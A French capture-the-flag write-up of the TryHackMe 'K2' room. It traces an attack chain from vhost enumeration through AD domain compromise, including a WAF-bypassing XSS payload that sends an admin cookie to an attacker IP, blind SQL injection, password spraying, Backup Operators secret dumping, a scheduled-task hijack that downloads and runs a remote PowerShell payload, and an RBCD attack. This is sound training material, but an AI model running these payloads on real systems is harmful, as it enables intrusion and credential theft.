THM - K2
K2 est une room hard composé d’un réseau contenant une machine linux et de 2 Windows avec un AD. Elle permet de s’entrainer sur des attaques de bases en étant confronté à certains équipements de sécurité que l’on doit essayer de contourner afin d’arriver à nos fins.
Enumération
Comme d’habitude, on commence par lancer un scan nmap afin d’identifier les ports ouverts de la machine.
1 | └─$ nmap -A 10.10.18.124 -oA scan |
On voit que la machine est sous linux et qu’elle héberge un site web. En se rendant sur le site web, on remarque que ce dernier est un site vitrine et ne présente aucune fonctionnalité intéressante.
On peut alors lancer une recherche de vhost pour tenter de trouver d’élargir la surface d’attaque ce qui permet de découvrir deux sous domaien.
1 | gobuster vhost -u "http://10.10.18.124" --domain K2.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain |
On a alors accès à un site de ticketing avec une partie dédié aux utilisateurs pour soumettre leurs tickets et l’autre partie réservé aux administrateurs pour résoudre les tickets.
XSS to admin
Après avoir créée un compte utilisateur, on essaie de soumettre un ticket avec des instruction Javascript afin de voir s’il est possible de récupérer le cookie d’un administrateur accédant au ticket. Malheureusement, il semble qu’un WAF ait été mis en place pour bloquer ce genre d’attaque.
Après plusieurs test, on parvient à trouver un code qui une fois soumis au formulaire n’est pas filtré et permet de récupérer le cookie d’un administrateur.
1 | <img src="x" onerror="var a=window['document'],b='cookie';new Image().src='http://10.21.110.163/?data='+btoa(a[b])"> |
Ce cookie permet ensuite de s’authentifier à la plateforme et d’accéder aux tickets des utilisateurs.
Blind SQL Injection
Après quelques tests, la fonctionnalité de recherche des tickets semble utiliser une base de donnée afin d’afficher uniquement les tickets ayant le titre recherché. On peut donc essayer de faire une injection SQL pour tenter de récupérer des informations dans la base de donnée. En testant quelques payload classique, on voit que certains d’entre eux sont bloqué.
1 | test' OR 1=1;- -- |
En testant d’autre payload, on peut remarquer que le filtrage ne semble pas couvrir tous les types de payload ce qui permet de voir que le site est vulnérable à une injection SQL de type BLIND avec le payload suivant :
1 | test' || 'a'='a |
En remarquant que le payload doit nécessairement contenir un nombre pair d’apostrophe, on peut construire un payload permettant de récupérer l’entièreté de la base de donnée en se basant sur sur Template et en remplaçant la condition au milieu par une condition quelconque:
1 | title=test' || LENGTH(database())>0 || '0 |
Cela permet, avec un script, de récupérer les mots de passe en clair de tous les utilisateurs de l’application.
En utilisant le mot de passe de james, on peut obtenir une session ssh sur le serveur
James to Root
Une fois le shell obtenu, on peut vérifier les groupes auxquelles james appartient. On remarque alors que ce dernier est dans le groupe adm ce qui lui permet donc de lire les fichiers contenus dans le dossier log.
1 | james@k2:~$ id |
Ainsi, en recherchat la chaine de caractère pass dans le dossier /var/log, on trouve rapidement un mot de passe qui semble être celui de l’utilisateur rose
1 | grep -Ri "pass" . |
Le mot de passe récupéré n’est enfaite pas le mot de passe du compte rose mais celui du compte root ce qui permet de compromettre la machine
Pivotement sur le deuxieme serveur
Après voir compromis, le premier serveur, on peut récupérer la liste des utilisateurs du serveur et construire une liste des utilisateurs potentiel de l’AD.
Ensuite, on peut vérifier lesquels de ces noms d’utilisateur sont valides avec kerbrute. Cela permet d’identifier deux noms d’utilisateur valide.
Après avoir identifié des noms d’utilisateur de l’AD, j’ai fait du password spraying en utilisant les mots de passe que j’avais récupéré dans la base de donnée du premier serveur ce qui m’a permis de compromettre le compte de r.bud
Ce compte peut se connecter via winrm à la seconde machine. Cela nous permet, en utilisant evil-winrm d’obtenir un shell sur le serveur.
r.bud to j.bold
Après avoir récupéré un accès distant, j’ai découvert un fichier expliquant que le mot de passe de james avait été changé pour qu’il respecte la nouvelle politique de mot de passe en ajoutant un chiffre et un caractère spécial à son mon de passe de base qui était rockyou
Ainsi, en créant une wordlist contenant les mots de passe possible de james, on peut rapidement compromettre son compte :
Compromission de J.smith
Par la suite, j’ai lancé un bloodhound afin d’identifier les chemins permettant de compromettre d’autre compte. L’analyse permet de remarque que le compte que l’on vient de compromettre possède un droit GenericAll sur le compte J.smith. Cela signifie que l’on dispose des droits d’écriture sur tous les attributs de cet objet et en particulier sur le mot de passe.
Ainsi, avec la commande suivante, on peut modifier le mot de passe du compte j.smith et prendre le contrôle de ce dernier.
1 | └─$ net rpc password "j.smith" "P@ssw0rd123" -U "k2.thm"/"j.bold"%"#8rockyou" -S "10.10.93.154" |
Backup operator to domain admin
Avec le bloodhound, j’avais aussi identifié que le compte j.smith avait appartenait au groupe backup operator. N’importe quel membre de ce groupe peut effectuer une copie de n’importe quel fichier du DC sans être restreint. Comme l’indique son nom, ce groupe permet d’effectuer des sauvegardes ce qui explique les permissions élevés accordés aux membres du groupe. Normalement, ce groupe doit toujours rester vide afin de limiter son exploitation malveillante. Si un administrateur veut réaliser une sauvegarde, il peut ponctuellement se mettre dans ce groupe, réaliser l’action qu’il veut faire puis se retirer du groupe.
Ainsi, en utilisation le module dédié sur nxc, on peut récupérer les bases SAM et LSA du DC et compromettre le domaine.
1 | nxc smb 10.10.93.154 -u j.smith -p 'P@ssw0rd123' -M backup_operator |
Pivotement sur le dernier serveur
Par la suite, on peut énumérer à nouveau les utilisateurs du domaine en utilisant la même technique que précédemment ce qui permet d’identifier le compte j.smith
En réalisant du hash spraying avec les hash des comptes récupéré précédemment dans la base NTDS, on peut compromettre le compte j.smith sur le nouveau serveur et remarquer que ce dernier à un accès winrm à ce dernier.
Exploitation des tâches planifiées
Après une énumération du serveur, j’ai découvert un fichier backup.bat qui semble s’exécuter régulièrement pour faire une sauvegarde d’un fichier de o.armstrong
1 |
|
Comme je n’avais pas les droits d’écriture directement sur ce fichier, je ne pouvais pas directement le modifier.
En revanche, j’ai remarqué que j’avais les droits en écriture sur le dossier ce qui m’as permis de supprimer le fichier backup.bat actuel et de le remplacer par un fichier bat me permettant de récupérer un reverse shell s’il était exécuté.
1 | "powershell -NoP -WindowStyle Hidden -Command Invoke-WebRequest http://10.21.110.163/payload.ps1 -OutFile C:\scripts\payload.ps1; powershell -ExecutionPolicy Bypass -File C:\scripts\payload.ps1" | Out-File -FilePath C:\scripts\backup.bat -Encoding ASCII |
Ainsi, en attendant quelques minutes, je suis parvenu à obtenir un reverse shell en tant que o.armstrong
J’en ai profité pour récupéré le hash NTLMv2 de son mot de passe avec responder pour pouvoir essayer de le casser et d’avoir un accès direct à son compte.
1 | PS C:\Windows\system32> dir \\10.11.72.22\test\ |
Avec john, j’ai rapidement réussi à casser ce hash ce qui m’a permis d’assurer ma persistence.
RBCD attack
En utilisant ce compte, j’ai fait une cartographie du domaine avec bloodhound et j’ai remarqué que ce compte avec des droits en GenericWrite sur le compte machine du DC ce qui peut permettre de réaliser une attaque RBCD.
Pour réaliser l’attaque, j’ai commencé par ajouter un compte machine sur le domaine :
1 | └─$ impacket-addcomputer -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Password1!' -dc-host 10.10.57.227 -domain-netbios K2.LOCAL 'K2.LOCAL/o.armstrong:arMStronG08' |
Ensuite, j’ai modifié la liste de confiance du DC pour la délégation afin d’y ajouter le compte machine que je venais de créer.
1 | ┌──(kali㉿kali)-[~/ctf/thm/K2] |
Une fois cela réalisé, j’ai pu demander un ticket en usurpant l’identité de l’administrateur du domaine que j’ai ensuite pu utilisé pour m’authentifier et compromettre le domaine.
1 | └─$ impacket-getST K2.THM/'ATTACKERSYSTEM$':'Password1!' -impersonate administrator -spn 'cifs/K2ROOTDC.K2.THM' -dc-ip 10.10.57.227 |
1 | ┌──(kali㉿kali)-[~/ctf/thm/K2] |
